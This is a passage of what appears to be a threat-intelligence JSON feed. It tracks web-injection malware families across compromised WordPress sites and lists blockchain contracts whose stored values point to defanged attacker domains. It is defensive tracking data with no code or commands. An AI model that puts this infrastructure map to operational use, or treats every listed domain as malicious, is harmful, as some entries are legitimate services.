lugins":{"wordfence":0},"sites30":11,"captured":11,"lastSeen":"2026-11-02","overlaps":{},"firstSeen":"2026-08-26","wordpress":0,"persistence":{"still":0,"rechecked":0}},"designerlink":{"sites":57,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":47,"newSites":47},{"month":"2026-10","sites":42,"newSites":10},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"7.1":30,"other":4,"older6":1},"plugins":{"akismet":2,"elementor":7,"wordfence":2,"astra-sites":2,"cookieadmin":2,"woocommerce":3,"cookie-notice":2,"elementor-pro":3,"wordpress-seo":8,"complianz-gdpr":2,"contact-form-7":7,"kadence-blocks":9,"cookieadmin-pro":2,"google-site-kit":5,"litespeed-cache":14,"seo-by-rank-math":3,"all-in-one-seo-pack":2,"easy-table-of-contents":2,"table-of-contents-plus":4,"all-in-one-wp-security-and-firewall":2},"sites30":42,"captured":42,"lastSeen":"2026-10-30","overlaps":{},"firstSeen":"2026-09-07","wordpress":35,"persistence":{"still":31,"rechecked":33}},"monitormolar":{"sites":3,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":3,"newSites":3},{"month":"2026-10","sites":0,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":0,"captured":0,"lastSeen":"2026-09-08","overlaps":{},"firstSeen":"2026-09-07","wordpress":0,"persistence":{"still":0,"rechecked":0}},"sessionlatch":{"sites":61,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":17,"newSites":17},{"month":"2026-10","sites":45,"newSites":43},{"month":"2026-11","sites":2,"newSites":1}],"wpCore":{"6.9":5,"7.0":6,"7.1":21,"other":13,"older6":4},"plugins":{"akismet":2,"elementor":14,"revslider":3,"wordfence":4,"case-addons":2,"js_composer":4,"woocommerce":12,"elementor-pro":8,"contact-form-7":13,"google-site-kit":4,"elementskit-lite":2,"file-updater-7b52e912":3,"smartrestal-serverful":2,"royal-elementor-addons":2,"woo-variation-swatches":2,"header-footer-elementor":3,"script-b7296d2c-b7296d2c":4,"script-c388e164-c388e164":6,"mailchimp-for-woocommerce":2,"exclusive-addons-for-elementor":2},"sites30":54,"captured":53,"lastSeen":"2026-11-03","overlaps":{"la02":15,"lenai":13,"bwpanel":31},"firstSeen":"2026-09-07","wordpress":49,"persistence":{"still":10,"rechecked":11}},"shieldbeaver":{"sites":304,"joomla":0,"months":[{"month":"2026-08","sites":88,"newSites":88},{"month":"2026-09","sites":179,"newSites":147},{"month":"2026-10","sites":180,"newSites":68},{"month":"2026-11","sites":17,"newSites":1}],"wpCore":{"6.8":7,"6.9":6,"7.0":16,"7.1":109,"other":30,"older6":0},"plugins":{"cf":32,"ckk":24,"one":5,"akismet":6,"jetpack":6,"neueueu":16,"elementor":25,"wordfence":6,"tablepress":4,"astra-sites":3,"woocommerce":9,"wpforms-lite":5,"cookie-notice":3,"elementor-pro":11,"mango-buttons":4,"contact-form-7":6,"litespeed-cache":5,"elementskit-lite":3,"cloudflare-captcha":5,"table-of-contents-plus":4},"sites30":176,"captured":191,"lastSeen":"2026-11-04","overlaps":{"drivesurge":12,"overlaywar":10},"firstSeen":"2026-08-02","wordpress":168,"persistence":{"still":113,"rechecked":143}},"stainedheart":{"sites":5,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":4,"newSites":4},{"month":"2026-10","sites":4,"newSites":1},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":4,"older6":0},"plugins":{"xtender":1,"elementor":2,"revslider":1,"wordfence":0,"js_composer":1,"weekly-class":1,"elementor-pro":1,"contact-form-7":1,"google-site-kit":1,"hostinger-reach":1,"elementskit-lite":1,"sp-news-and-widget":1,"wp-ultimate-review":1,"gutenkit-blocks-addon":1,"templatesnext-toolkit":1,"essential-addons-for-elementor-lite":1},"sites30":4,"captured":4,"lastSeen":"2026-10-27","overlaps":{},"firstSeen":"2026-09-07","wordpress":4,"persistence":{"still":3,"rechecked":3}},"telegramtail":{"sites":1,"joomla":0,"months":[{"month":"2026-08","sites":1,"newSites":1},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":0,"newSites":0},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":0,"captured":0,"lastSeen":"2026-08-13","overlaps":{},"firstSeen":"2026-08-13","wordpress":0,"persistence":{"still":0,"rechecked":0}},"infernodrainer":{"sites":4,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":4,"newSites":4},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":4,"captured":4,"lastSeen":"2026-10-13","overlaps":{},"firstSeen":"2026-10-13","wordpress":0,"persistence":{"still":0,"rechecked":0}},"phantomstealer":{"sites":2,"joomla":0,"months":[{"month":"2026-08","sites":0,"newSites":0},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":0,"newSites":0},{"month":"2026-11","sites":2,"newSites":2}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":2,"captured":2,"lastSeen":"2026-11-01","overlaps":{},"firstSeen":"2026-11-01","wordpress":0,"persistence":{"still":0,"rechecked":0}},"sessionserpent":{"sites":1753,"joomla":0,"months":[{"month":"2026-08","sites":657,"newSites":657},{"month":"2026-09","sites":750,"newSites":750},{"month":"2026-10","sites":342,"newSites":342},{"month":"2026-11","sites":4,"newSites":4}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":291,"captured":383,"lastSeen":"2026-11-04","overlaps":{},"firstSeen":"2026-08-02","wordpress":0,"persistence":{"still":0,"rechecked":0}},"stopandprotect":{"sites":72,"joomla":0,"months":[{"month":"2026-08","sites":68,"newSites":68},{"month":"2026-09","sites":19,"newSites":2},{"month":"2026-10","sites":10,"newSites":2},{"month":"2026-11","sites":0,"newSites":0}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":10,"captured":0,"lastSeen":"2026-10-28","overlaps":{},"firstSeen":"2026-08-10","wordpress":0,"persistence":{"still":5,"rechecked":6}},"installerbeaver":{"sites":2,"joomla":0,"months":[{"month":"2026-08","sites":1,"newSites":1},{"month":"2026-09","sites":0,"newSites":0},{"month":"2026-10","sites":0,"newSites":0},{"month":"2026-11","sites":1,"newSites":1}],"wpCore":{"other":0,"older6":0},"plugins":{"wordfence":0},"sites30":1,"captured":1,"lastSeen":"2026-11-02","overlaps":{},"firstSeen":"2026-08-11","wordpress":0,"persistence":{"still":0,"rechecked":0}}},"contracts":[{"chain":"Base","family":"basetask","address":"0x623f65e5945c0fecf8f68ff9d98ce56fece6bc6a","chainId":8453,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-11-04","destination":"svc-981946ae[.]cf-8noj7k34[.]workers[.]dev"},{"lastSeen":"2026-11-04","firstSeen":"2026-11-03","destination":"svc-82433ec4[.]cf-c7dwff8u[.]workers[.]dev"},{"lastSeen":"2026-11-03","firstSeen":"2026-11-02","destination":"gate-bab84464[.]cf-jv4vxoei[.]workers[.]dev"},{"lastSeen":"2026-11-02","firstSeen":"2026-11-01","destination":"cdn-71c1abef[.]cf-u5bcvf8m[.]workers[.]dev"},{"lastSeen":"2026-11-01","firstSeen":"2026-10-31","destination":"proxy-95c9499e[.]cf-c96t0ez4[.]workers[.]dev"},{"lastSeen":"2026-10-31","firstSeen":"2026-10-31","destination":"api-2858bade[.]r-keyes1[.]workers[.]dev"},{"lastSeen":"2026-10-31","firstSeen":"2026-10-30","destination":"cdn-2398fb83[.]jopollner[.]workers[.]dev"},{"lastSeen":"2026-10-30","firstSeen":"2026-10-30","destination":"run-909ec582[.]cf-el2gdekg[.]workers[.]dev"},{"lastSeen":"2026-10-30","firstSeen":"2026-10-30","destination":"svc-20aa0cda[.]cf-6d94p3fm[.]workers[.]dev"},{"lastSeen":"2026-10-30","firstSeen":"2026-10-29","destination":"edge-1fb15464[.]thomas-erkel[.]workers[.]dev"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-29","destination":"relay-68eec5b2[.]hilde-feldkamp[.]workers[.]dev"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-29","destination":"run-90e391c8[.]lismey-moisan[.]workers[.]dev"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-28","destination":"hub-a744f48f[.]ruddypleynet[.]workers[.]dev"},{"lastSeen":"2026-10-28","firstSeen":"2026-10-27","destination":"relay-d00c470c[.]bille-olga[.]workers[.]dev"},{"lastSeen":"2026-10-27","firstSeen":"2026-10-26","destination":"proxy-b2b2c1ee[.]mathias-kleinz[.]workers[.]dev"},{"lastSeen":"2026-10-26","firstSeen":"2026-10-25","destination":"run-18f60498[.]angelika-pommernell[.]workers[.]dev"},{"lastSeen":"2026-10-25","firstSeen":"2026-10-24","destination":"app-58a0b8df[.]sarahanastasia[.]workers[.]dev"},{"lastSeen":"2026-10-24","firstSeen":"2026-10-23","destination":"edge-2df9919d[.]christinamueller1974[.]workers[.]dev"},{"lastSeen":"2026-10-23","firstSeen":"2026-10-22","destination":"svc-9f6bca5d[.]regementsee[.]workers[.]dev"},{"lastSeen":"2026-10-22","firstSeen":"2026-10-21","destination":"web-470e05fe[.]samanthamaus[.]workers[.]dev"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-10-13","lastChanged":"2026-11-04","destinations":["svc-981946ae[.]cf-8noj7k34[.]workers[.]dev"]},{"chain":"Polygon","family":"bwpanel","address":"0x08207B087F61d7e95E441E15fd6d40BEfd6eD308","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-10-19","destination":"sky[.]dolcefantasia[.]us"},{"lastSeen":"2026-10-19","firstSeen":"2026-10-16","destination":"hail[.]cocova[.]co"},{"lastSeen":"2026-10-16","firstSeen":"2026-10-14","destination":"year[.]calvinpreschooloffice[.]com"},{"lastSeen":"2026-10-14","firstSeen":"2026-10-13","destination":"palm[.]blueridgekcmo[.]com"},{"lastSeen":"2026-10-13","firstSeen":"2026-10-12","destination":"cap[.]camp-cantina[.]com"},{"lastSeen":"2026-10-12","firstSeen":"2026-10-11","destination":"kelp[.]camp-cantina[.]com"},{"lastSeen":"2026-10-11","firstSeen":"2026-10-10","destination":"bed[.]camp-cantina[.]com"},{"lastSeen":"2026-10-10","firstSeen":"2026-10-09","destination":"ski[.]blacklabelfremont[.]com"},{"lastSeen":"2026-10-09","firstSeen":"2026-10-08","destination":"luck[.]blacklabelfremont[.]com"},{"lastSeen":"2026-10-08","firstSeen":"2026-10-07","destination":"fog[.]blacklabelfremont[.]com"},{"lastSeen":"2026-10-07","firstSeen":"2026-10-06","destination":"wind[.]cafemartinezsa[.]com"},{"lastSeen":"2026-10-06","firstSeen":"2026-10-04","destination":"noon[.]cafemartinezsa[.]com"},{"lastSeen":"2026-10-04","firstSeen":"2026-10-02","destination":"gray[.]bowlinggreenwinnelsonco[.]com"},{"lastSeen":"2026-10-02","firstSeen":"2026-10-01","destination":"jet[.]bowlinggreenwinnelsonco[.]com"},{"lastSeen":"2026-10-01","firstSeen":"2026-09-28","destination":"lute[.]bowlinggreenwinnelsonco[.]com"},{"lastSeen":"2026-09-28","firstSeen":"2026-09-27","destination":"deer[.]albaikmenuonline[.]com"},{"lastSeen":"2026-09-27","firstSeen":"2026-09-26","destination":"fish[.]alexiagavela[.]com"},{"lastSeen":"2026-09-26","firstSeen":"2026-09-25","destination":"cup[.]blinqueofficial[.]com"},{"lastSeen":"2026-09-25","firstSeen":"2026-09-24","destination":"earl[.]blinqueofficial[.]com"},{"lastSeen":"2026-09-24","firstSeen":"2026-09-22","destination":"dome[.]beatdropkec[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-22","lastChanged":"2026-10-19","destinations":["sky[.]dolcefantasia[.]us"]},{"chain":"Polygon","family":"bwpanel","address":"0x17fb7ea087abd93cd97b5a016b99aad2fb3af1a6","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"vaer-cdn-3[.]sbs"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["vaer-cdn-3[.]sbs"]},{"chain":"Polygon","family":"bwpanel","address":"0x1b6cfd93ffc6ea17488a025980565f977f084db7","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"chekbrow[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["chekbrow[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0x224579e572ceec5309a7d9f5faf85dea5dbb7d4a","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"ntsnsdns[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["ntsnsdns[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0x347280da8ba0c344a77a766d2bc163cfa1f571cd","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"bootstrup-framework-js[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["bootstrup-framework-js[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0x374854889e9a51d001da4387667b8546f079befb","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"ghdnsserverns[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["ghdnsserverns[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0x3801f0f5a2ac32bb02e8097200860aa38af9d240","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"sr-hostes-js[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["sr-hostes-js[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0x3f120fa3b0796643e760cab2c730c5a6a119319c","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"istile-c-cloud[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["istile-c-cloud[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0x4694a69e6f34251d0e2e5e6b0a85aeba2cf6090f","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"mikelle[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["mikelle[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0x4af8048EdfE4523953E9907528BF5Cef7Fa8db09","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-11-04","destination":"lord[.]ducks-food[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-11-04","destination":"raft[.]ducks-food[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-11-04","destination":"serf[.]ducks-food[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-29","destination":"fox[.]chloemullaney[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-29","destination":"lamp[.]chloemullaney[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-29","destination":"milk[.]chloemullaney[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-29","destination":"monk[.]chloemullaney[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-29","destination":"rock[.]chloemullaney[.]com"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-19","destination":"lynx[.]dolcefantasia[.]us"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-19","destination":"rain[.]dolcefantasia[.]us"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-19","destination":"sky[.]dolcefantasia[.]us"},{"lastSeen":"2026-10-19","firstSeen":"2026-10-18","destination":"fog[.]crossroadchix[.]com"},{"lastSeen":"2026-10-19","firstSeen":"2026-10-18","destination":"mug[.]crossroadchix[.]com"},{"lastSeen":"2026-10-18","firstSeen":"2026-10-15","destination":"hail[.]cocova[.]co"},{"lastSeen":"2026-10-18","firstSeen":"2026-10-15","destination":"raft[.]cocova[.]co"},{"lastSeen":"2026-10-18","firstSeen":"2026-10-15","destination":"ruby[.]cocova[.]co"},{"lastSeen":"2026-10-18","firstSeen":"2026-10-15","destination":"sand[.]cocova[.]co"},{"lastSeen":"2026-10-18","firstSeen":"2026-10-15","destination":"zinc[.]cocova[.]co"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-10-15","lastChanged":"2026-11-04","destinations":["lord[.]ducks-food[.]com","raft[.]ducks-food[.]com","serf[.]ducks-food[.]com"]},{"chain":"Polygon","family":"bwpanel","address":"0x4de37b7be1bfb8a74acd8af57a2c10c5b1a14bb3","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"cdn-speed[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["cdn-speed[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0x53ffb04ef13bc4cb12ce8ac7b9532c254338dc3e","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"clacndjsvulnarbi[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["clacndjsvulnarbi[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0x5bc777d1dd5304d51ac41d682c87360dfdab4428","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"travel-js-ns[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["travel-js-ns[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0x5f3347efc3fa4280c1da08a4ca2483856f5e6a35","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"snccdn-framework[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["snccdn-framework[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0x678028f4af9422cea3484f334ee96a570588cb3f","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"bkscndclou[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["bkscndclou[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0x6c4beca447067d6452029888afd56417293f6a1f","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"letsgomakemoneyoncaptcha[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["letsgomakemoneyoncaptcha[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0x6c6cadf48bda2b3dc60e96cad36f23110190e477","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"cdn-server-styles[.]click"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["cdn-server-styles[.]click"]},{"chain":"Polygon","family":"bwpanel","address":"0x786961bacf6eb767277695cd1ac75c76d3d66dc7","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"nsservclod[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["nsservclod[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0x8f2f173df08a5531dd5b92753cfbae422e04ada0","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"cdn-speed[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["cdn-speed[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0x9034d100d07b1238d26f786dbc63831e3a2b410e","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"macerapindasi[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["macerapindasi[.]com"]},{"chain":"Polygon","family":"bwpanel","address":"0x9130ec7e8b20646ad30e1386d1b45cd26eb0e07b","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"framesavecloudjs[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["framesavecloudjs[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0x926d64543148db649c4f877fe7ba4c693e01e288","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"ns-claude-js[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["ns-claude-js[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0x950e8fc151d8d910e8a01132307e6bcd03405a84","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"hahletsgoagain[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["hahletsgoagain[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0x994cb8274721e5d6daa4fe3febf80cf9237a9ae8","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"smtnscerver[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["smtnscerver[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0x9cbd8e55cdd98fbebd7cb2cb06342718f8df40ee","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"mstclaudens[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["mstclaudens[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0x9de78c82db772b02468838dc014fffb97d8d7e9b","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"siteamnsserv[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["siteamnsserv[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0xa5a33cf0e35d5005fcbe0026c906403f3cc862b0","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"sdnssmdf-js[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["sdnssmdf-js[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0xaaf212ac53c22ad807c0b35afe44fc698b4bb529","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"js-server[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["js-server[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0xb36482fe794b895695914779db3909b471d1aa43","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"cloud-safe[.]click"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["cloud-safe[.]click"]},{"chain":"Polygon","family":"bwpanel","address":"0xc0d1f4df86e08dd4ad0cdd0085e7dc660ab21c63","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"cdn-speed[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["cdn-speed[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0xc5a4bc312f0226beec569de05e0cf2c12d3ce930","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"ssns-cdn-ns[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["ssns-cdn-ns[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0xc8375ed5d301691821e3211052bf8236a6534802","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"web-security[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["web-security[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0xcb9c910b54d2798a442f2f76899fa66655811738","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"trunnsns[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["trunnsns[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0xdb93ce45da3d013b2be1525375d5f548ca82b29a","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"lskannsserv[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["lskannsserv[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0xdc2ce8f48c71632c334ca7cc2e8e3c162fe0b391","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"istounscnnd[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["istounscnnd[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0xdf2e2e7d02d15e67219ebad1cb78e24e738e7d5a","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"bigsmart[.]beer"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["bigsmart[.]beer"]},{"chain":"Polygon","family":"bwpanel","address":"0xf50c07986e9a9d96743aac66f4da8788d3f32ecc","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"bigflopenergy[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["bigflopenergy[.]com"]},{"chain":"BNB Smart Chain testnet","family":"chainbite","address":"0x0cD58060328e308a43d3c53cfd03A45233EA308a","chainId":97,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-11-01","destination":"fastly[.]jsdelivr[.]net"},{"lastSeen":"2026-11-01","firstSeen":"2026-09-01","destination":"cdn[.]jsdelivr[.]net"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-11-01","destinations":["fastly[.]jsdelivr[.]net"]},{"chain":"BNB Smart Chain testnet","family":"chainbite","address":"0x0f14777c78d402bed55a67a6eb55dc87cc0b050a","chainId":97,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-11-04","destination":"hasir[.]store"},{"lastSeen":"2026-11-04","firstSeen":"2026-11-03","destination":"bossbeyprimeclub[.]click"},{"lastSeen":"2026-11-03","firstSeen":"2026-11-01","destination":"bossbeylegend[.]click"},{"lastSeen":"2026-11-01","firstSeen":"2026-11-01","destination":"bossbeyking[.]click"},{"lastSeen":"2026-11-01","firstSeen":"2026-11-01","destination":"bossbeyhub[.]click"},{"lastSeen":"2026-11-01","firstSeen":"2026-10-31","destination":"bossbeyhouse[.]click"},{"lastSeen":"2026-10-31","firstSeen":"2026-10-31","destination":"bittu[.]store"},{"lastSeen":"2026-10-31","firstSeen":"2026-10-30","destination":"bossbey12[.]click"},{"lastSeen":"2026-10-30","firstSeen":"2026-10-30","destination":"bossbey1[.]click"},{"lastSeen":"2026-10-30","firstSeen":"2026-10-29","destination":"urgentblue[.]com"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-29","destination":"bossbey13[.]click"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-28","destination":"mon-iam-espace-esa-lia[.]online"},{"lastSeen":"2026-10-28","firstSeen":"2026-10-27","destination":"georgelounge[.]bar"},{"lastSeen":"2026-10-27","firstSeen":"2026-10-26","destination":"eromeofficial[.]us"},{"lastSeen":"2026-10-26","firstSeen":"2026-10-25","destination":"pooker[.]app"},{"lastSeen":"2026-10-25","firstSeen":"2026-10-24","destination":"enfejbaaz[.]bet"},{"lastSeen":"2026-10-24","firstSeen":"2026-10-22","destination":"alldez[.]nl"},{"lastSeen":"2026-10-22","firstSeen":"2026-10-21","destination":"blinderai[.]com"},{"lastSeen":"2026-10-21","firstSeen":"2026-10-20","destination":"lihannaowenzaus[.]fit"},{"lastSeen":"2026-10-20","firstSeen":"2026-10-19","destination":"bociljp[.]info"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-10-13","lastChanged":"2026-11-04","destinations":["hasir[.]store"]},{"chain":"BNB Smart Chain testnet","family":"chainbite","address":"0x33830cCEc1a25a55Fc971B127Fc41188F3C349b0","chainId":97,"history":[],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-11-01","lastChanged":"2026-11-01","destinations":[]},{"chain":"BNB Smart Chain 